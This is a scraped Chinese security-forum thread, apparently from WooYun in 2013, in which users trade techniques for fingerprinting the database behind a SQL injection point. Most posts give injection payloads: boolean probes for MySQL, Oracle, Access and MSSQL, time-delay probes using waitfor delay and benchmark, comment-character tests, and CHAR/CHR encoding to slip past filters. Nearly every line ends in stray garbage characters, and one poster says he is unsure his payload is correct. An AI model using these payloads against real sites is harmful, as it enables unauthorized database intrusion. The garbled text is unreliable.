一个注射点如何最快速确认是什么类型数据库
4 x7 W% p9 i( j6 E* t! {# Sxsser (十根阳具有长短!!) | 2013-02-05 12:36. h6 Y- c6 U; O/ k0 J/ L7 X/ w
假设这么一个注射点:
# _3 p, `) b( jshow.html?id=2* A) b x% {, u- f( \
mysql:id=2 and version()>0( O! X% ~, q- T+ V
oracle:id=2 and '1'||'1'='117 q% ^2 Y. d. s+ G6 G- L* w5 l) Y0 u
其他的欢迎补充
% ^) y. I5 a1 K l- M1 p& E1#1 x# `# l+ E3 A* m
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
+ S! C ~1 U% F1 {' |Access:# d: s# M. g( {" C+ s6 l2 }
aNd aSc(cHr(97))=976 K- s5 y3 D0 ]: K5 H
and exists(select id from MSysAccessObjects), P# w% `' H7 X; o# E+ ?
SQL Server:
# ?+ O& z* B& F0 i Q6 I5 p1 nand exists(select id from sysobjects)% Y- q& W( l1 i( t- K
and length(user)>0: @( q/ Q3 D" T) R$ c
MySQL: q3 T+ }3 C, B- Q
and length(user())>0# @- H$ X! Z3 v# x/ Z9 L8 B8 |
2#
+ t5 o4 {6 m, @xsser (十根阳具有长短!!) | 2013-02-05 12:482 Q9 ^4 ~& E$ R; L! N8 ^$ w
@upload 如果这些都不是呢…
; m) l4 A6 d. \( A- [6 W3#1 p% M( }" Y0 R7 U
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03" X+ _7 {# L8 E# N, ^7 c; J
@xsser 不快速的,延时注入
+ K6 ]' ?% B& L- V+ l不知道这样写对不对
. x6 u% w& w# X2 |mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'' G4 ^$ t8 y3 j I& ?& j, M
mysql:id=2 and select benchmark(1e8,current_date());
( b* C1 \( c% S/ F$ Z. a: e4#
9 e6 f7 _3 d8 fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
1 U/ N7 p9 O5 H3 {9 p最快的貌似是看报错信息& ?" I2 N6 l8 z% o' O& _) Q" x) s6 m3 d
oracle error8 H2 j* \- N1 L( ]' U* ^% u
mssql error( c4 X- T! b( b0 _0 B
mysql error" @1 m2 s5 @7 p0 K4 B2 x
5#! ^2 O& e4 u) Y3 r" J9 w8 f
Nimda (你们都是坏银~) | 2013-02-05 13:14# s% ?( [. ~. u7 ^5 `
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
; u8 x; [; _) V& Q5 D6#. {/ y# W' A8 C6 C5 B, |
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
% m% K U5 |+ q4 I, n“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:, o) D3 |2 S/ O% T6 M
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
# D: ?) d' o: j+ m9 y! g5 R“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
7 x; D) Z: F% u$ K1 K! V) G) W7#! \; b7 ^& O4 }1 O
_Evil (HackEnd) | 2013-02-05 13:33
0 a1 ` Z/ F& r! `, XPostgreSQL2 r* S' D% B! k9 ^
8#
: M1 ^. c9 F8 o G( x* |upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:425 E. b% B" A/ U2 I3 g
切换编码 and 1=1
/ o4 f* P( r: ]; z: Eoracle:
- m& E" v" d" U1 }CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
0 ^) j4 x; j2 x) d3 g9 `, Z! A3 b9 _mssql:
( {6 N9 `6 k( B! yCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
( C+ g2 q: C$ }( U, Gmysql:1 r B0 @# [! }$ y# a* d
CHAR(97, 110, 100, 32, 49, 61, 49)' j* w: P% W' p a/ a m
9#/ o5 e0 k# z I# D
xsser (十根阳具有长短!!) | 2013-02-05 14:31+ f' L' H& e, X: H* q# c
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
- b" A- `8 Q9 K5 x" P- t. D10#1 J9 t/ r" M0 L: d8 a9 k+ D
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46. G& {( E5 x9 y$ ]
@xsser 是奇葩数据库类型的么?( W p* `. H2 X2 S
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:/ E4 q( v. [, h" E; N% Q/ q& A
1.是否可以使用特定的函数来判断,该数据库特有的
$ l8 X3 K+ d# D! q& v1 Y2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等( z6 [* E1 A6 f
3.是否可以编码查询" `* @4 ~3 J8 P! p
4.是否显可以利用错信息
/ b X b4 Z, M! Z& L- Y5.是否存在数据库某些特性辅助判断/ a! I/ h% A. B7 @" h
个人见解
) `6 D# ]7 @( |: [, Z |5 ~! v* M11#. X: c8 k4 k5 f
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55/ T0 P. [ q' i0 P( v& H, Q
已收藏,mssql可以直接看到错误提示的吧~
& @, ]6 U8 N2 i/ t0 t12#
/ T% B. ?2 P0 ~( A# W! APasser_by | 2013-02-05 15:093 a* i3 c$ \- B0 t! D
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
3 X0 h! E F( g7 Ffrom:http://zone.wooyun.org/content/260 |